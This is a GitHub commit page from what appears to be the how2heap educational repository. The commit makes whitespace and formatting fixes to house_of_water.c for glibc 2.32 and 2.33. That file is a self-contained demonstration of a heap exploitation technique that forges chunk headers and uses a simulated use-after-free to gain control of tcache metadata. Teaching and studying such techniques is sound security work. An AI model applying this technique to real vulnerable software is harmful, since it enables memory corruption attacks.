Skip to content

Commit 19ba0e5

Browse files
authored
Merge pull request #225 from shellphish/fix/new_house_of_water
Fix/new house of water
2 parents 0898e1d + 3415b44 commit 19ba0e5

File tree

10 files changed

+440
-485
lines changed

10 files changed

+440
-485
lines changed

glibc_2.32/house_of_water.c

Lines changed: 36 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,12 @@
33
#include <assert.h>
44

55
/*
6-
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
6+
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
77
* metadata control primitive.
88
*
99
* Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
1010
* There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
11-
* An article explaining this newer variant and its differences from the original House of Water can be found at:
11+
* An article explaining this newer variant and its differences from the original House of Water can be found at:
1212
* https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
1313
*
1414
* The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
@@ -52,7 +52,7 @@ int main(void) {
5252

5353
// Step 1: Create the unsorted bins linked list, used for hijacking at a later time
5454

55-
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
55+
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
5656
puts("chunk-consolidation and sets our target for the house of water attack.");
5757
puts("\t- chunks:");
5858

@@ -98,7 +98,7 @@ int main(void) {
9898
puts("");
9999

100100
// Free t-cache entries
101-
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
101+
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
102102
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
103103
puts("instead of the t-cache or small-bins.");
104104
for (int i = 0; i < 7; i++) {
@@ -113,20 +113,19 @@ int main(void) {
113113
puts("\n");
114114

115115
// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
116-
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
116+
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
117117

118118
puts("Here comes the trickiest part!\n");
119119

120-
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n"
121-
"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
122-
puts("We want it such that it points to the chunk header of our small bin entries,\n"
123-
"and not at the chunk itself which is common for t-cache.\n");
120+
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n");
121+
puts("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
122+
puts("We want it such that it points to the chunk header of our small bin entries,\n");
123+
puts("and not at the chunk itself which is common for t-cache.\n");
124124

125-
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
125+
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
126126
puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end.");
127127
puts("");
128128

129-
130129
puts("It should look like the following:");
131130
puts("");
132131

@@ -138,13 +137,13 @@ int main(void) {
138137
puts("small_end:");
139138
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
140139
dump_memory(small_end, 2);
141-
140+
142141
puts("\n");
143142
puts("If you want to see a blind example using only double free, see the following chal: ");
144143
puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki");
145-
puts("");
146-
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
147-
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
144+
puts("");
145+
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
146+
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
148147
puts("\n");
149148

150149
puts("For the sake of simplicity, let's just simulate an arbitrary free primitive.");
@@ -159,7 +158,7 @@ int main(void) {
159158
// Step 3 part 1:
160159
puts("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.");
161160
printf("\t*%p-0x18 = 0x331\n", small_start);
162-
*(long*)(small_start-0x18) = 0x331;
161+
*(long*)(small_start-0x18) = 0x331;
163162
puts("");
164163

165164
puts("This creates a 0x331 entry just above small_start, which looks like the following:");
@@ -173,7 +172,7 @@ int main(void) {
173172
puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to");
174173
puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
175174
printf("\t*%p-0x8 = 0x91\n", small_start);
176-
*(long*)(small_start-0x8) = 0x91;
175+
*(long*)(small_start-0x8) = 0x91;
177176
puts("");
178177

179178
puts("Now, let's do the same for small_end except using a 0x321 faked chunk.");
@@ -188,7 +187,7 @@ int main(void) {
188187
// Step 3 part 2:
189188
puts("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:");
190189
printf("\t*%p-0x18 = 0x321\n", small_end);
191-
*(long*)(small_end-0x18) = 0x321;
190+
*(long*)(small_end-0x18) = 0x321;
192191
puts("");
193192

194193
puts("This creates a 0x321 just above small_end, which looks like the following:");
@@ -201,7 +200,7 @@ int main(void) {
201200

202201
puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
203202
printf("\t*%p-0x8 = 0x91\n", small_end);
204-
*(long*)(small_end-0x8) = 0x91;
203+
*(long*)(small_end-0x8) = 0x91;
205204
puts("");
206205

207206

@@ -212,7 +211,7 @@ int main(void) {
212211
puts("\n");
213212

214213
// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
215-
// then allocate large chunk that will sort the unsorted bin into small bins.
214+
// then allocate large chunk that will sort the unsorted bin into small bins.
216215

217216
puts("Now, let's free the the chunks into the unsorted bin.");
218217

@@ -227,10 +226,10 @@ int main(void) {
227226

228227
puts("\n");
229228

230-
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
231-
_ = malloc(0x700);
229+
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
230+
_ = malloc(0x700);
232231

233-
puts("");
232+
puts("");
234233

235234
// Show the setup as is
236235

@@ -266,16 +265,16 @@ int main(void) {
266265
puts("");
267266

268267
// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
269-
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
270-
268+
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
269+
271270
/* VULNERABILITY */
272271
printf("\t- small_start:\n");
273-
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
272+
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
274273
*(unsigned long *)small_start = (unsigned long)(metadata+0x200);
275274
puts("");
276275

277276
printf("\t- small_end:\n");
278-
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
277+
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
279278
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
280279
puts("");
281280
/* VULNERABILITY */
@@ -297,22 +296,22 @@ int main(void) {
297296
// Step 6: allocate to win
298297
puts("Now, simply just allocate our fake chunk which is placed inside the small bin");
299298
puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to");
300-
puts("service the allocation from the small bin.");
299+
puts("service the allocation from the small bin.");
301300

302-
for(int i = 7; i > 0; i--)
303-
_ = malloc(0x88);
301+
for(int i = 7; i > 0; i--)
302+
_ = malloc(0x88);
304303

305-
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
306-
_ = malloc(0x88);
307-
_ = malloc(0x88);
304+
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
305+
_ = malloc(0x88);
306+
_ = malloc(0x88);
308307

309308

310-
// Next allocation *could* be our faked chunk!
309+
// Next allocation *could* be our faked chunk!
311310
void *meta_chunk = malloc(0x88);
312-
311+
313312
printf("\t\tNew chunk\t @ %p\n", meta_chunk);
314313
printf("\t\tt-cache metadata @ %p\n", metadata);
315-
assert(meta_chunk == (metadata+0x210));
314+
assert(meta_chunk == (metadata+0x210));
316315

317-
puts("");
316+
puts("");
318317
}

glibc_2.33/house_of_water.c

Lines changed: 36 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,12 @@
33
#include <assert.h>
44

55
/*
6-
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
6+
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
77
* metadata control primitive.
88
*
99
* Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
1010
* There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
11-
* An article explaining this newer variant and its differences from the original House of Water can be found at:
11+
* An article explaining this newer variant and its differences from the original House of Water can be found at:
1212
* https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
1313
*
1414
* The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
@@ -52,7 +52,7 @@ int main(void) {
5252

5353
// Step 1: Create the unsorted bins linked list, used for hijacking at a later time
5454

55-
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
55+
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
5656
puts("chunk-consolidation and sets our target for the house of water attack.");
5757
puts("\t- chunks:");
5858

@@ -98,7 +98,7 @@ int main(void) {
9898
puts("");
9999

100100
// Free t-cache entries
101-
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
101+
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
102102
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
103103
puts("instead of the t-cache or small-bins.");
104104
for (int i = 0; i < 7; i++) {
@@ -113,20 +113,19 @@ int main(void) {
113113
puts("\n");
114114

115115
// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
116-
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
116+
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
117117

118118
puts("Here comes the trickiest part!\n");
119119

120-
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n"
121-
"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
122-
puts("We want it such that it points to the chunk header of our small bin entries,\n"
123-
"and not at the chunk itself which is common for t-cache.\n");
120+
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n");
121+
puts("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
122+
puts("We want it such that it points to the chunk header of our small bin entries,\n");
123+
puts("and not at the chunk itself which is common for t-cache.\n");
124124

125-
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
125+
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
126126
puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end.");
127127
puts("");
128128

129-
130129
puts("It should look like the following:");
131130
puts("");
132131

@@ -138,13 +137,13 @@ int main(void) {
138137
puts("small_end:");
139138
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
140139
dump_memory(small_end, 2);
141-
140+
142141
puts("\n");
143142
puts("If you want to see a blind example using only double free, see the following chal: ");
144143
puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki");
145-
puts("");
146-
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
147-
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
144+
puts("");
145+
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
146+
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
148147
puts("\n");
149148

150149
puts("For the sake of simplicity, let's just simulate an arbitrary free primitive.");
@@ -159,7 +158,7 @@ int main(void) {
159158
// Step 3 part 1:
160159
puts("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.");
161160
printf("\t*%p-0x18 = 0x331\n", small_start);
162-
*(long*)(small_start-0x18) = 0x331;
161+
*(long*)(small_start-0x18) = 0x331;
163162
puts("");
164163

165164
puts("This creates a 0x331 entry just above small_start, which looks like the following:");
@@ -173,7 +172,7 @@ int main(void) {
173172
puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to");
174173
puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
175174
printf("\t*%p-0x8 = 0x91\n", small_start);
176-
*(long*)(small_start-0x8) = 0x91;
175+
*(long*)(small_start-0x8) = 0x91;
177176
puts("");
178177

179178
puts("Now, let's do the same for small_end except using a 0x321 faked chunk.");
@@ -188,7 +187,7 @@ int main(void) {
188187
// Step 3 part 2:
189188
puts("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:");
190189
printf("\t*%p-0x18 = 0x321\n", small_end);
191-
*(long*)(small_end-0x18) = 0x321;
190+
*(long*)(small_end-0x18) = 0x321;
192191
puts("");
193192

194193
puts("This creates a 0x321 just above small_end, which looks like the following:");
@@ -201,7 +200,7 @@ int main(void) {
201200

202201
puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
203202
printf("\t*%p-0x8 = 0x91\n", small_end);
204-
*(long*)(small_end-0x8) = 0x91;
203+
*(long*)(small_end-0x8) = 0x91;
205204
puts("");
206205

207206

@@ -212,7 +211,7 @@ int main(void) {
212211
puts("\n");
213212

214213
// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
215-
// then allocate large chunk that will sort the unsorted bin into small bins.
214+
// then allocate large chunk that will sort the unsorted bin into small bins.
216215

217216
puts("Now, let's free the the chunks into the unsorted bin.");
218217

@@ -227,10 +226,10 @@ int main(void) {
227226

228227
puts("\n");
229228

230-
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
231-
_ = malloc(0x700);
229+
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
230+
_ = malloc(0x700);
232231

233-
puts("");
232+
puts("");
234233

235234
// Show the setup as is
236235

@@ -266,16 +265,16 @@ int main(void) {
266265
puts("");
267266

268267
// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
269-
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
270-
268+
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
269+
271270
/* VULNERABILITY */
272271
printf("\t- small_start:\n");
273-
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
272+
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
274273
*(unsigned long *)small_start = (unsigned long)(metadata+0x200);
275274
puts("");
276275

277276
printf("\t- small_end:\n");
278-
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
277+
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
279278
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
280279
puts("");
281280
/* VULNERABILITY */
@@ -297,22 +296,22 @@ int main(void) {
297296
// Step 6: allocate to win
298297
puts("Now, simply just allocate our fake chunk which is placed inside the small bin");
299298
puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to");
300-
puts("service the allocation from the small bin.");
299+
puts("service the allocation from the small bin.");
301300

302-
for(int i = 7; i > 0; i--)
303-
_ = malloc(0x88);
301+
for(int i = 7; i > 0; i--)
302+
_ = malloc(0x88);
304303

305-
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
306-
_ = malloc(0x88);
307-
_ = malloc(0x88);
304+
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
305+
_ = malloc(0x88);
306+
_ = malloc(0x88);
308307

309308

310-
// Next allocation *could* be our faked chunk!
309+
// Next allocation *could* be our faked chunk!
311310
void *meta_chunk = malloc(0x88);
312-
311+
313312
printf("\t\tNew chunk\t @ %p\n", meta_chunk);
314313
printf("\t\tt-cache metadata @ %p\n", metadata);
315-
assert(meta_chunk == (metadata+0x210));
314+
assert(meta_chunk == (metadata+0x210));
316315

317-
puts("");
316+
puts("");
318317
}

0 commit comments

Comments
 (0)